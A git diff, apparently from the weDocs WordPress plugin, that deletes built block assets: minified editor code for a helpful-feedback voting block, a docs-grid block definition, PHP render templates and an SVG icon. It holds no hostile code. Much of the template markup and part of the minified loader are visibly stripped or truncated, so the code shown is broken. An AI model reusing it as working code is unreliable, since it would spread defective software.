ease"},de={...se,backgroundColor:M},ue={...se,backgroundColor:D},ge={width:j,height:z,color:U};return(0,l.createElement)(d.Fragment,null,(0,l.createElement)(u.InspectorControls,null,(0,l.createElement)(g.PanelBody,{title:(0,n.__)("General Settings","wedocs"),initialOpen:!0},(0,l.createElement)(g.TextControl,{label:(0,n.__)("Question Text","wedocs"),value:a,onChange:e=>t({questionText:e}),help:(0,n.__)("The question to ask users about the article","wedocs")}),(0,l.createElement)(g.TextControl,{label:(0,n.__)("Yes Button Text","wedocs"),value:m,onChange:e=>t({yesButtonText:e})}),(0,l.createElement)(g.TextControl,{label:(0,n.__)("No Button Text","wedocs"),value:_,onChange:e=>t({noButtonText:e})}),(0,l.createElement)(g.TextControl,{label:(0,n.__)("Thank You Message","wedocs"),value:p,onChange:e=>t({thankYouMessage:e}),help:(0,n.__)("Message shown after voting","wedocs")}),(0,l.createElement)(g.ToggleControl,{label:(0,n.__)("Show Vote Count","wedocs"),checked:i,onChange:e=>t({showVoteCount:e})}),(0,l.createElement)(g.ToggleControl,{label:(0,n.__)("Allow Anonymous Voting","wedocs"),checked:s,onChange:e=>t({allowAnonymous:e}),help:(0,n.__)("Allow guests to vote without logging in","wedocs")})),(0,l.createElement)(g.PanelBody,{title:(0,n.__)("Layout & Alignment","wedocs"),initialOpen:!1},(0,l.createElement)("label",null,(0,n.__)("Layout Style","wedocs")),(0,l.createElement)(h,{selected:r,options:le,onChange:e=>t({layout:e})}),(0,l.createElement)(g.SelectControl,{label:(0,n.__)("Alignment","wedocs"),value:c,options:ae,onChange:e=>t({alignment:e})})),(0,l.createElement)(g.PanelBody,{title:(0,n.__)("Container Styling","wedocs"),initialOpen:!1},(0,l.createElement)(g.__experimentalToolsPanel,{label:(0,n.__)("Container Settings","wedocs")},(0,l.createElement)(g.__experimentalToolsPanelItem,{hasValue:()=>"#ffffff"!==b,label:(0,n.__)("Background Color","wedocs"),onDeselect:()=>t({containerBgColor:"#ffffff"})},(0,l.createElement)(g.ColorPalette,{label:(0,n.__)("Background Color","wedocs"),value:b,onChange:e=>t({containerBgColor:e||"#ffffff"})})),(0,l.createElement)(g.__experimentalToolsPanelItem,{hasValue:()=>"#f9f9f9"!==w,label:(0,n.__)("Background Hover Color","wedocs"),onDeselect:()=>t({containerBgHoverColor:"#f9f9f9"})},(0,l.createElement)(g.ColorPalette,{label:(0,n.__)("Background Hover Color","wedocs"),value:w,onChange:e=>t({containerBgHoverColor:e||"#f9f9f9"})}))),(0,l.createElement)(g.__experimentalBoxControl,{label:(0,n.__)("Padding","wedocs"),values:f,onChange:e=>t({containerPadding:e})}),(0,l.createElement)(g.__experimentalBoxControl,{label:(0,n.__)("Margin","wedocs"),values:x,onChange:e=>t({containerMargin:e})}),(0,l.createElement)(g.SelectControl,{label:(0,n.__)("Border Style","wedocs"),value:E,options:ne,onChange:e=>t({containerBorderStyle:e})}),"none"!==E&&(0,l.createElement)(d.Fragment,null,(0,l.createElement)(g.ColorPalette,{label:(0,n.__)("Border Color","wedocs"),value:B,onChange:e=>t({containerBorderColor:e||"#e0e0e0"})}),(0,l.createElement)(g.__experimentalBoxControl,{label:(0,n.__)("Border Width","wedocs"),values:y,onChange:e=>t({containerBorderWidth:e})})),(0,l.createElement)(g.__experimentalBoxControl,{label:(0,n.__)("Border Radius","wedocs"),values:S,onChange:e=>t({containerBorderRadius:e})}),(0,l.createElement)(g.TextControl,{label:(0,n.__)("Box Shadow","wedocs"),value:T,onChange:e=>t({containerBoxShadow:e}),help:(0,n.__)("CSS box-shadow value","wedocs")})),(0,l.createElement)(g.PanelBody,{title:(0,n.__)("Title Styling","wedocs"),initialOpen:!1},(0,l.createElement)(g.ColorPalette,{label:(0,n.__)("Title Color","wedocs"),value:k,onChange:e=>t({titleColor:e||"#333333"})}),(0,l.createElement)(g.TextControl,{label:(0,n.__)("Font Size","wedocs"),value:P,onChange:e=>t({titleFontSize:e}),help:(0,n.__)("e.g., 16px, 1.2em","wedocs")}),(0,l.createElement)(g.SelectControl,{label:(0,n.__)("Font Weight","wedocs"),value:F,options:re,onChange:e=>t({titleFontWeight:e})}),(0,l.createElement)(g.TextControl,{label:(0,n.__)("Line Height","wedocs"),value:R,onChange:e=>t({titleLineHeight:e}),help:(0,n.__)("e.g., 1.4, 24px","wedocs")}),(0,l.createElement)(g.TextControl,{label:(0,n.__)("Letter Spacing","wedocs"),value:H,onChange:e=>t({titleLetterSpacing:e}),help:(0,n.__)("e.g., 0px, 1px","wedocs")}),(0,l.createElement)(g.__experimentalBoxControl,{label:(0,n.__)("Title Padding","wedocs"),values:$,onChange:e=>t({titlePadding:e})}),(0,l.createElement)(g.__experimentalBoxControl,{label:(0,n.__)("Title Margin","wedocs"),values:N,onChange:e=>t({titleMargin:e})})),(0,l.createElement)(g.PanelBody,{title:(0,n.__)("Button Styling","wedocs"),initialOpen:!1},(0,l.createElement)("h4",null,(0,n.__)("Yes Button Colors","wedocs")),(0,l.createElement)(g.ColorPalette,{label:(0,n.__)("Normal Color","wedocs"),value:M,onChange:e=>t({yesButtonColor:e||"#4CAF50"})}),(0,l.createElement)(g.ColorPalette,{label:(0,n.__)("Hover Color","wedocs"),value:A,onChange:e=>t({yesButtonHoverColor:e||"#45a049"})}),(0,l.createElement)(g.ColorPalette,{label:(0,n.__)("Active Color","wedocs"),value:O,onChange:e=>t({yesButtonActiveColor:e||"#2e7d32"})}),(0,l.createElement)("h4",null,(0,n.__)("No Button Colors","wedocs")),(0,l.createElement)(g.ColorPalette,{label:(0,n.__)("Normal Color","wedocs"),value:D,onChange:e=>t({noButtonColor:e||"#9e9e9e"})}),(0,l.createElement)(g.ColorPalette,{label:(0,n.__)("Hover Color","wedocs"),value:L,onChange:e=>t({noButtonHoverColor:e||"#757575"})}),(0,l.createElement)(g.ColorPalette,{label:(0,n.__)("Active Color","wedocs"),value:W,onChange:e=>t({noButtonActiveColor:e||"#616161"})}),(0,l.createElement)("h4",null,(0,n.__)("Button Text Colors","wedocs")),(0,l.createElement)(g.ColorPalette,{label:(0,n.__)("Text Color","wedocs"),value:I,onChange:e=>t({buttonTextColor:e||"#ffffff"})}),(0,l.createElement)(g.ColorPalette,{label:(0,n.__)("Text Hover Color","wedocs"),value:V,onChange:e=>t({buttonTextHoverColor:e||"#ffffff"})}),(0,l.createElement)("h4",null,(0,n.__)("Icon Settings","wedocs")),(0,l.createElement)(g.TextControl,{label:(0,n.__)("Icon Width","wedocs"),value:j,onChange:e=>t({iconWidth:e})}),(0,l.createElement)(g.TextControl,{label:(0,n.__)("Icon Height","wedocs"),value:z,onChange:e=>t({iconHeight:e})}),(0,l.createElement)(g.ColorPalette,{label:(0,n.__)("Icon Color","wedocs"),value:U,onChange:e=>t({iconColor:e||"#ffffff"})}),(0,l.createElement)(g.ColorPalette,{label:(0,n.__)("Icon Hover Color","wedocs"),value:G,onChange:e=>t({iconHoverColor:e||"#ffffff"})}),(0,l.createElement)("h4",null,(0,n.__)("Button Borders","wedocs")),(0,l.createElement)(g.SelectControl,{label:(0,n.__)("Border Style","wedocs"),value:q,options:ne,onChange:e=>t({buttonBorderStyle:e})}),"none"!==q&&(0,l.createElement)(d.Fragment,null,(0,l.createElement)(g.ColorPalette,{label:(0,n.__)("Border Color","wedocs"),value:Q,onChange:e=>t({buttonBorderColor:e||"transparent"})}),(0,l.createElement)(g.ColorPalette,{label:(0,n.__)("Border Hover Color","wedocs"),value:J,onChange:e=>t({buttonBorderHoverColor:e||"transparent"})}),(0,l.createElement)(g.TextControl,{label:(0,n.__)("Border Width","wedocs"),value:K,onChange:e=>t({buttonBorderWidth:e})})),(0,l.createElement)(g.TextControl,{label:(0,n.__)("Border Radius","wedocs"),value:X,onChange:e=>t({buttonBorderRadius:e})}),(0,l.createElement)(g.TextControl,{label:(0,n.__)("Box Shadow","wedocs"),value:ee,onChange:e=>t({buttonBoxShadow:e})})),(0,l.createElement)(g.PanelBody,{title:(0,n.__)("Advanced","wedocs"),initialOpen:!1},(0,l.createElement)(g.TextControl,{label:(0,n.__)("Additional CSS Class(es)","wedocs"),value:te,onChange:e=>t({additionalCssClass:e}),help:(0,n.__)("Separate multiple classes with spaces","wedocs")}))),(0,l.createElement)("div",{...o},(0,l.createElement)("div",{className:`wedocs-helpful-feedback ${r} ${te}`,style:ce},(0,l.createElement)("div",{className:"wedocs-feedback-title",style:ie},a),(0,l.createElement)("div",{className:"wedocs-feedback-buttons"},(0,l.createElement)("button",{className:"wedocs-feedback-button wedocs-feedback-yes",style:de,disabled:!0},(0,l.createElement)("span",{className:"wedocs-feedback-icon",style:ge},C),m,i&&(0,l.createElement)("span",{className:"vote-count"}," (0)")),(0,l.createElement)("button",{className:"wedocs-feedback-button wedocs-feedback-no",style:ue,disabled:!0},(0,l.createElement)("span",{className:"wedocs-feedback-icon",style:ge},v),_,i&&(0,l.createElement)("span",{className:"vote-count"}," (0)"))),(0,l.createElement)("div",{className:"wedocs-feedback-preview-note",style:{marginTop:"10px",fontSize:"12px",opacity:"0.7"}},(0,n.__)("Preview mode - voting disabled in editor","wedocs")))))},save:()=>null})},609:e=>{e.exports=window.React}},o={};function l(e){var a=o[e];if(void 0!==a)return a.exports;var n=o[e]={exports:{}};return t[e](n,n.exports,l),n.exports}l.m=t,e=[],l.O=(t,o,a,n)=>{if(!o){var r=1/0;for(d=0;d=n)&&Object.keys(l.O).every((e=>l.O[e](o[i])))?o.splice(i--,1):(c=!1,n0&&e[d-1][2]>n;d--)e[d]=e[d-1];e[d]=[o,a,n]},l.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),(()=>{var e={366:0,337:0};l.O.j=t=>0===e[t];var t=(t,o)=>{var a,n,r=o[0],c=o[1],i=o[2],s=0;if(r.some((t=>0!==e[t]))){for(a in c)l.o(c,a)&&(l.m[a]=c[a]);if(i)var d=i(l)}for(t&&t(o);sl(642)));a=l.O(a)})(); diff --git a/assets/build/blocks/DocsGrid/block.json b/assets/build/blocks/DocsGrid/block.json deleted file mode 100644 index 28302d13..00000000 --- a/assets/build/blocks/DocsGrid/block.json +++ /dev/null @@ -1,163 +0,0 @@ -{ - "$schema": "https://schemas.wp.org/trunk/block.json", - "apiVersion": 3, - "name": "wedocs/wedocs-docs-grid", - "version": "1.0.0", - "title": "weDocs - Docs Grid", - "icon": "grid-view", - "category": "widgets", - "description": "Display all the docs in a grid view", - "supports": { - "html": false - }, - "editorScript": "file:./index.js", - "editorStyle": "file:./index.css", - "style": "file:./style-index.css", - "render": "file:./render.php", - "attributes": { - "docStyle": { - "type": "string", - "default": "1x1" - }, - "docsPerPage": { - "type": "string", - "default": "all" - }, - "excludeDocs": { - "type": "array", - "default": [] - }, - "order": { - "type": "string", - "default": "asc" - }, - "orderBy": { - "type": "string", - "default": "menu_order" - }, - "sectionsPerDoc": { - "type": "string", - "default": "all" - }, - "articlesPerSection": { - "type": "string", - "default": "all" - }, - "showDocArticle": { - "type": "boolean", - "default": true - }, - "keepArticlesCollapsed": { - "type": "boolean", - "default": false - }, - "showViewDetails": { - "type": "boolean", - "default": true - }, - "gridPadding": { - "type": "object", - "default": { - "top": "20px", - "right": "20px", - "bottom": "20px", - "left": "20px" - } - }, - "gridMargin": { - "type": "object", - "default": { - "top": "0px", - "right": "0px", - "bottom": "0px", - "left": "0px" - } - }, - "docTitleColor": { - "type": "string", - "default": "#333333" - }, - "docChildrenActiveColor": { - "type": "string", - "default": "#0073aa" - }, - "borderWidth": { - "type": "string", - "default": "1px" - }, - "borderColor": { - "type": "string", - "default": "rgba(0, 0, 0, 0.1)" - }, - "borderType": { - "type": "string", - "default": "solid" - }, - "borderRadius": { - "type": "string", - "default": "4px" - }, - "buttonBorderRadius": { - "type": "string", - "default": "4px" - }, - "buttonPadding": { - "type": "object", - "default": { - "top": "10px", - "right": "20px", - "bottom": "10px", - "left": "20px" - } - }, - "buttonMargin": { - "type": "object", - "default": { - "top": "10px", - "right": "0px", - "bottom": "0px", - "left": "0px" - } - }, - "buttonColor": { - "type": "string", - "default": "#0073aa" - }, - "buttonHoverColor": { - "type": "string", - "default": "#005177" - }, - "buttonText": { - "type": "string", - "default": "View Details" - }, - "buttonTextColor": { - "type": "string", - "default": "#ffffff" - }, - "buttonHoverTextColor": { - "type": "string", - "default": "#ffffff" - }, - "paginationTextColor": { - "type": "string", - "default": "#333333" - }, - "paginationTextHoverColor": { - "type": "string", - "default": "#0073aa" - }, - "paginationBackgroundColor": { - "type": "string", - "default": "#ffffff" - }, - "paginationHoverColor": { - "type": "string", - "default": "#f5f5f5" - }, - "paginationBorderColor": { - "type": "string", - "default": "#dddddd" - } - } -} \ No newline at end of file diff --git a/assets/build/blocks/DocsGrid/render.php b/assets/build/blocks/DocsGrid/render.php deleted file mode 100644 index 6aaadd02..00000000 --- a/assets/build/blocks/DocsGrid/render.php +++ /dev/null @@ -1,319 +0,0 @@ - - :root { - --wedocs-pagination-background-color: %s; - --wedocs-pagination-text-color: %s; - --wedocs-pagination-border-color: %s; - --wedocs-pagination-hover-color: %s; - --wedocs-pagination-text-hover-color: %s; - --wedocs-border-radius: %s; - } - ', - esc_attr($background_color), - esc_attr($text_color), - esc_attr($border_color), - esc_attr($hover_color), - esc_attr($text_hover_color), - esc_attr($border_radius) - ); -} -function render_wedocs_docs_grid($attributes) { - // Extract attributes with defaults - $doc_style = $attributes['docStyle'] ?? '1x1'; - $docs_per_page = $attributes['docsPerPage'] ?? 'all'; - $exclude_docs = $attributes['excludeDocs'] ?? []; - $order = $attributes['order'] ?? 'ASC'; - $order_by = $attributes['orderBy'] ?? 'menu_order'; - $sections_per_doc = $attributes['sectionsPerDoc'] ?? 'all'; - $articles_per_section = $attributes['articlesPerSection'] ?? 'all'; - $show_doc_article = $attributes['showDocArticle'] ?? true; - $keep_articles_collapsed = $attributes['keepArticlesCollapsed'] ?? false; - $show_view_details = $attributes['showViewDetails'] ?? true; - - // Extract style attributes - $grid_padding = $attributes['gridPadding'] ?? null; - $grid_margin = $attributes['gridMargin'] ?? null; - $border_type = $attributes['borderType'] ?? 'solid'; - $border_radius = $attributes['borderRadius'] ?? '8px'; - $border_width = $attributes['borderWidth'] ?? '1px'; - $border_color = $attributes['borderColor'] ?? 'rgba(0, 0, 0, 0.1)'; - $doc_title_color = $attributes['docTitleColor'] ?? '#1e1e1e'; - $doc_children_active_color = $attributes['docChildrenActiveColor'] ?? '#0073aa'; - $button_color = $attributes['buttonColor'] ?? '#0073aa'; - $button_text = $attributes['buttonText'] ?? __('View Details', 'wedocs'); - $button_text_color = $attributes['buttonTextColor'] ?? '#ffffff'; - $button_hover_color = $attributes['buttonHoverColor'] ?? '#005177'; - $button_hover_text_color = $attributes['buttonHoverTextColor'] ?? '#ffffff'; - $button_padding = $attributes['buttonPadding'] ?? null; - $button_radius = $attributes['buttonBorderRadius'] ?? '4px'; - $button_margin = $attributes['buttonMargin'] ?? null; - - // Format padding and margin styles - $padding_style = ''; - if ($grid_padding) { - $padding_style = sprintf( - 'padding: %s %s %s %s;', - esc_attr($grid_padding['top'] ?? '1.5rem'), - esc_attr($grid_padding['right'] ?? '1.5rem'), - esc_attr($grid_padding['bottom'] ?? '1.5rem'), - esc_attr($grid_padding['left'] ?? '1.5rem') - ); - } - - $margin_style = ''; - if ($grid_margin) { - $margin_style = sprintf( - 'margin: %s %s %s %s;', - esc_attr($grid_margin['top'] ?? '0'), - esc_attr($grid_margin['right'] ?? '0'), - esc_attr($grid_margin['bottom'] ?? '0'), - esc_attr($grid_margin['left'] ?? '0') - ); - } - - // Format button padding and margin - $button_padding_style = ''; - if ($button_padding) { - $button_padding_style = sprintf( - 'padding: %s %s %s %s;', - esc_attr($button_padding['top'] ?? '8px'), - esc_attr($button_padding['right'] ?? '12px'), - esc_attr($button_padding['bottom'] ?? '8px'), - esc_attr($button_padding['left'] ?? '12px') - ); - } - - $button_margin_style = ''; - if ($button_margin) { - $button_margin_style = sprintf( - 'margin: %s %s %s %s;', - esc_attr($button_margin['top'] ?? '0'), - esc_attr($button_margin['right'] ?? '0'), - esc_attr($button_margin['bottom'] ?? '0'), - esc_attr($button_margin['left'] ?? '0') - ); - } - - // Create inline styles for grid items - $grid_item_style = sprintf( - 'border: %s %s %s; border-radius: %s; %s %s', - esc_attr($border_width), - esc_attr($border_type), - esc_attr($border_color), - esc_attr($border_radius), - $padding_style, - $margin_style - ); - - $title_style = sprintf('color: %s;', esc_attr($doc_title_color)); - $children_style = sprintf('color: %s;', esc_attr($doc_children_active_color)); - $button_style = sprintf( - 'background-color: %s; color: %s; border-radius: %s; %s %s', - esc_attr($button_color), - esc_attr($button_text_color), - esc_attr($button_radius), - $button_padding_style, - $button_margin_style - ); - - // Add dynamic styles for hover states - $hover_styles = sprintf( - '', - esc_attr($button_hover_color), - esc_attr($button_hover_text_color) - ); - - // Get current page for pagination - $current_page = (get_query_var('paged')) ? get_query_var('paged') : 1; - - // Set up the main docs query - $args = array( - 'post_type' => 'docs', - 'post_status' => 'publish', - 'post_parent' => 0, - 'orderby' => $order_by, - 'order' => $order, - 'post__not_in' => array_map('intval', $exclude_docs) - ); - - // Handle pagination - if ($docs_per_page !== 'all') { - $args['posts_per_page'] = intval($docs_per_page); - $args['paged'] = $current_page; - } else { - $args['posts_per_page'] = '-1'; - $args['paged'] = 1; - } - - // Query docs with pagination - $docs_query = new WP_Query($args); - $docs = $docs_query->posts; - $total_pages = $docs_query->max_num_pages; - $toggle_script = << -SCRIPT; - // Start output buffering - ob_start(); - - echo $toggle_script; - // Output hover styles - echo $hover_styles; - ?> -
-
- 'docs', - 'post_status' => 'publish', - 'post_parent' => $doc->ID, - 'orderby' => 'menu_order', - 'order' => 'ASC', - 'posts_per_page' => $sections_per_doc === 'all' ? -1 : intval($sections_per_doc) - ); - - $sections = get_posts($sections_query_args); - $total_articles = 0; - ?> - -
-

- - post_title); ?> - -

- - -
- 'docs', - 'post_status' => 'publish', - 'post_parent' => $section->ID, - 'orderby' => 'menu_order', - 'order' => 'ASC', - 'posts_per_page' => $articles_per_section === 'all' ? -1 : intval($articles_per_section) - ); - - $articles = get_posts($articles_query_args); - ?> -
-
-

- - - post_title); ?> - - - - - - - -

- - - -
-
- -
- - - - - - - - - -
- - - -
- -
- -
-
- '1px', 'right' => '1px', 'bottom' => '1px', 'left' => '1px']; - $container_styles[] = sprintf( - 'border: %s %s %s', - esc_attr($border_width['top'] ?? '1px'), - esc_attr($attributes['containerBorderStyle']), - esc_attr($attributes['containerBorderColor'] ?? '#e0e0e0') - ); - } - if (!empty($attributes['containerBorderRadius'])) { - $radius = $attributes['containerBorderRadius']; - $container_styles[] = sprintf( - 'border-radius: %s %s %s %s', - esc_attr($radius['top'] ?? '8px'), - esc_attr($radius['right'] ?? '8px'), - esc_attr($radius['bottom'] ?? '8px'), - esc_attr($radius['left'] ?? '8px') - ); - } - if (!empty($attributes['containerBoxShadow'])) { - $container_styles[] = 'box-shadow: ' . esc_attr($attributes['containerBoxShadow']); - } - $container_styles[] = 'text-align: ' . esc_attr($alignment); - - // Build title styles - $title_styles = []; - if (!empty($attributes['titleColor'])) { - $title_styles[] = 'color: ' . esc_attr($attributes['titleColor']); - } - if (!empty($attributes['titleFontSize'])) { - $title_styles[] = 'font-size: ' . esc_attr($attributes['titleFontSize']); - } - if (!empty($attributes['titleFontWeight'])) { - $title_styles[] = 'font-weight: ' . esc_attr($attributes['titleFontWeight']); - } - if (!empty($attributes['titleLineHeight'])) { - $title_styles[] = 'line-height: ' . esc_attr($attributes['titleLineHeight']); - } - if (!empty($attributes['titleLetterSpacing'])) { - $title_styles[] = 'letter-spacing: ' . esc_attr($attributes['titleLetterSpacing']); - } - if (!empty($attributes['titlePadding'])) { - $padding = $attributes['titlePadding']; - $title_styles[] = sprintf( - 'padding: %s %s %s %s', - esc_attr($padding['top'] ?? '0px'), - esc_attr($padding['right'] ?? '0px'), - esc_attr($padding['bottom'] ?? '16px'), - esc_attr($padding['left'] ?? '0px') - ); - } - if (!empty($attributes['titleMargin'])) { - $margin = $attributes['titleMargin']; - $title_styles[] = sprintf( - 'margin: %s %s %s %s', - esc_attr($margin['top'] ?? '0px'), - esc_attr($margin['right'] ?? '0px'), - esc_attr($margin['bottom'] ?? '0px'), - esc_attr($margin['left'] ?? '0px') - ); - } - - // CSS classes - $css_classes = [ - 'wedocs-helpful-feedback', - esc_attr($layout), - esc_attr($alignment), - ]; - - if ($has_voted) { - $css_classes[] = 'has-voted'; - $css_classes[] = 'voted-' . esc_attr($voted_option); - } - - if (!empty($additional_css_class)) { - $css_classes[] = esc_attr($additional_css_class); - } - - // Data attributes - $data_attributes = []; - $data_attributes['data-post-id'] = $post_id; - $data_attributes['data-allow-anonymous'] = $allow_anonymous ? '1' : '0'; - $data_attributes['data-thank-you-message'] = esc_attr($thank_you_message); - - if (!empty($attributes['dataAttributes']) && is_array($attributes['dataAttributes'])) { - foreach ($attributes['dataAttributes'] as $key => $value) { - if (!empty($key) && !empty($value)) { - $data_attributes['data-' . esc_attr($key)] = esc_attr($value); - } - } - } - - // Build data attributes string - $data_attrs_string = ''; - foreach ($data_attributes as $key => $value) { - $data_attrs_string .= ' ' . $key . '="' . $value . '"'; - } - - // Enqueue frontend script and styles - wp_enqueue_script('wedocs-helpful-feedback-frontend', plugin_dir_url(WEDOCS_FILE) .'./assets/js/helpful-feedback.js', ['jquery'], '1.0.0', true); - wp_localize_script('wedocs-helpful-feedback-frontend', 'wedocsHelpfulFeedback', [ - 'ajax_url' => admin_url('admin-ajax.php'), - 'nonce' => wp_create_nonce('wedocs_helpful_feedback_nonce') - ]); - - // Generate unique block ID - $block_id = 'wedocs-helpful-feedback-' . $post_id . '-' . wp_rand(1000, 9999); - ?> - -
- > - -
- -
- -
- - - -
- -
-
- -
- -
-
- - - - - - - - - - - - - - - -
- - -
- - - -
- -
-
- -
- - - - array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-edit-post', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-plugins'), 'version' => '8b617b79e5691a22a883'); diff --git a/assets/build/editor.js b/assets/build/editor.js deleted file mode 100644 index a1bbd3ff..00000000 --- a/assets/build/editor.js +++ /dev/null @@ -1 +0,0 @@ -(()=>{"use strict";var C={533:(C,e,t)=>{t.d(e,{A:()=>r});var a=t(609);const r=(0,a.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:"500",height:"500",viewBox:"0 0 500 500",fill:"none"},(0,a.createElement)("path",{d:"M0 0 C10.11383923 8.20432531 19.62853278 17.96997277 25 30 C25 30.66 25 31.32 25 32 C30.61 32.33 36.22 32.66 42 33 C42.33 30.69 42.66 28.38 43 26 C44.52309719 20.56729664 47.09526917 15.80783034 50 11 C50.66 11 51.32 11 52 11 C52.3403125 10.1646875 52.3403125 10.1646875 52.6875 9.3125 C57.26090817 1.25459036 66.23507781 -3.82182933 74.859375 -6.45703125 C80.05000372 -7.77363233 84.93814799 -8.15335562 90.28759766 -8.16113281 C91.10946564 -8.16609772 91.93133362 -8.17106262 92.77810669 -8.17617798 C95.49010059 -8.19075009 98.20203592 -8.1975946 100.9140625 -8.203125 C102.80870565 -8.20888207 104.7033488 -8.21463973 106.59799194 -8.22039795 C110.5707018 -8.23089495 114.54339151 -8.23674562 118.51611328 -8.24023438 C123.58305815 -8.24570558 128.64973248 -8.26970972 133.71659279 -8.29820633 C137.63219963 -8.31692211 141.54774258 -8.32204313 145.46339035 -8.32357025 C147.32992399 -8.32657895 149.19645699 -8.33454652 151.06294632 -8.34775543 C162.95396409 -8.42587612 173.72775642 -8.16474284 184.5 -2.4375 C185.69109375 -1.81681641 185.69109375 -1.81681641 186.90625 -1.18359375 C188.64928626 -0.19825795 190.33401546 0.88934364 192 2 C192 2.66 192 3.32 192 4 C192.57621094 4.22429688 193.15242188 4.44859375 193.74609375 4.6796875 C200.54959834 8.66510267 204.94226994 17.61638037 207 25 C207.92347593 30.99209031 208.14688628 36.814993 208.1328125 42.87109375 C208.13424759 44.25374168 208.13424759 44.25374168 208.13571167 45.6643219 C208.13638857 47.6031196 208.13456866 49.54191962 208.13037109 51.48071289 C208.12502208 54.42534552 208.13032967 57.36982522 208.13671875 60.31445312 C208.13605776 62.20833367 208.13477617 64.10221411 208.1328125 65.99609375 C208.13483673 66.86511826 208.13686096 67.73414276 208.13894653 68.62950134 C208.08391314 83.19708592 205.12378428 94.99141344 195 106 C194.36578125 106.69996094 193.7315625 107.39992188 193.078125 108.12109375 C183.53017979 117.61519716 172.05342001 120.54243018 159.04403687 120.56236267 C155.69997916 120.53357326 152.35799198 120.45724436 149.01489258 120.37426758 C137.89946649 119.68432918 137.89946649 119.68432918 128.25390625 124.2109375 C127.1478834 125.45527229 126.06143778 126.71742234 125 128 C123.90877494 128.92099459 122.79180473 129.81256561 121.6484375 130.66796875 C121.11420166 131.08054932 120.57996582 131.49312988 120.02954102 131.91821289 C119.48354248 132.33707764 118.93754395 132.75594238 118.375 133.1875 C114.56527899 136.12705142 110.83027749 139.10963523 107.23046875 142.3046875 C106.61574707 142.84843018 106.00102539 143.39217285 105.36767578 143.95239258 C104.19676513 144.99677393 103.03436477 146.05080638 101.88232422 147.1159668 C98.15426359 150.43656772 95.02662311 152.04999228 90 153 C86.09750546 152.04605689 85.27059878 151.40589817 83 148 C82.77294922 145.08911133 82.77294922 145.08911133 82.8046875 141.58203125 C82.81435547 139.70161133 82.81435547 139.70161133 82.82421875 137.78320312 C82.84935547 135.81770508 82.84935547 135.81770508 82.875 133.8125 C82.88503361 132.47722013 82.8941588 131.14193311 82.90234375 129.80664062 C82.92594708 126.53757985 82.95887406 123.26887972 83 120 C82.19393311 119.80881592 81.38786621 119.61763184 80.55737305 119.4206543 C79.49043213 119.16195557 78.42349121 118.90325684 77.32421875 118.63671875 C75.74386841 118.25713013 75.74386841 118.25713013 74.1315918 117.86987305 C62.69297478 114.69252897 53.5201818 107.48691146 47.28125 97.41796875 C41.61796503 86.73024498 40.33387491 75.9510677 41 64 C41.33 63.01 41.66 62.02 42 61 C28.64736636 60.93030248 15.29477645 60.87708859 1.94199753 60.84456348 C-4.25911157 60.82894829 -10.46009565 60.80778591 -16.66113281 60.77368164 C-22.6522824 60.74094019 -28.64331218 60.72311584 -34.63454437 60.71536827 C-36.91333653 60.70985124 -39.19212258 60.6990782 -41.47086334 60.68280983 C-62.33510436 59.89692523 -62.33510436 59.89692523 -80.4765625 68.79296875 C-82 70 -82 70 -84 70 C-84.433125 70.87398437 -84.433125 70.87398437 -84.875 71.765625 C-85.56641744 73.13885685 -86.27176287 74.5053091 -87 75.859375 C-87.33 76.48328125 -87.66 77.1071875 -88 77.75 C-88.33 78.36359375 -88.66 78.9771875 -89 79.609375 C-91.75589293 86.19768153 -92.29111284 92.39871731 -92.25396729 99.44093323 C-92.25864726 100.81963535 -92.25864726 100.81963535 -92.26342177 102.22619003 C-92.2713647 105.28961289 -92.26509243 108.35283562 -92.25878906 111.41625977 C-92.2615007 113.61967586 -92.2650626 115.82309104 -92.26940918 118.02650452 C-92.27851861 124.00207663 -92.27499385 129.97757959 -92.26865101 135.95315289 C-92.26357911 142.21884675 -92.26828619 148.48453478 -92.27142334 154.75022888 C-92.27529433 165.95337891 -92.26908324 177.15650053 -92.25890467 188.35964387 C-92.24998508 198.48985954 -92.25150906 208.62002932 -92.26074219 218.75024414 C-92.27148091 230.53769766 -92.27540917 242.32512884 -92.26951766 254.11258739 C-92.26641091 260.34316701 -92.26595246 266.57371513 -92.27259064 272.80429268 C-92.27840388 278.670562 -92.2742949 284.53674547 -92.26280212 290.4030056 C-92.26017585 292.54624922 -92.26088549 294.68950016 -92.26532745 296.83274078 C-92.85295779 318.70785754 -92.85295779 318.70785754 -86 339 C-86 339.66 -86 340.32 -86 341 C-85.34 341 -84.68 341 -84 341 C-84 341.66 -84 342.32 -84 343 C-83.34 343 -82.68 343 -82 343 C-82 343.66 -82 344.32 -82 345 C-81.29875 345.268125 -80.5975 345.53625 -79.875 345.8125 C-77 347 -77 347 -74.1875 348.5625 C-66.02362097 352.24424937 -56.33889925 351.148632 -47.54711914 351.14526367 C-45.98420634 351.14825943 -44.42129428 351.15166292 -42.85838318 351.15544128 C-38.63111072 351.16424146 -34.40385854 351.16661767 -30.17657781 351.16725707 C-27.53181897 351.16796965 -24.88706523 351.17010787 -22.24230766 351.17275429 C-13.00536651 351.18199338 -3.76843976 351.18609083 5.46850586 351.18530273 C14.06292323 351.1847018 22.65727787 351.19526035 31.25167936 351.2110464 C38.6455537 351.22414083 46.03940757 351.22948586 53.4332934 351.22884732 C57.84275273 351.22859297 62.25215621 351.23140989 66.66160393 351.24202538 C70.80915325 351.25173886 74.95659369 351.25176334 79.10414696 351.24450874 C80.62101654 351.24346705 82.13789302 351.24580097 83.65475082 351.2518692 C95.21567623 351.29510257 106.0922793 351.26693028 115.10546875 343.08984375 C124.59876479 333.2852921 124.43371984 322.47813268 124.41069031 309.53906822 C124.40617254 306.77685716 124.42031994 304.0152733 124.43908691 301.25312805 C124.48187794 294.40199851 124.49313393 287.5508858 124.50531006 280.699646 C124.51684207 274.88905645 124.54038983 269.07875759 124.58000183 263.26828957 C124.59355356 260.55110521 124.58940685 257.83431597 124.58459473 255.11711121 C124.59393403 253.45136002 124.60410252 251.78561321 124.61523438 250.11987305 C124.60601204 248.99221024 124.60601204 248.99221024 124.59660339 247.84176636 C124.64924824 243.35422149 125.32792306 240.61018489 128 237 C128.680625 236.071875 129.36125 235.14375 130.0625 234.1875 C130.701875 233.465625 131.34125 232.74375 132 232 C132.66 232 133.32 232 134 232 C134.22365234 231.44747559 134.44730469 230.89495117 134.67773438 230.32568359 C136.4120348 227.27528739 138.62737939 225.22130218 141.15625 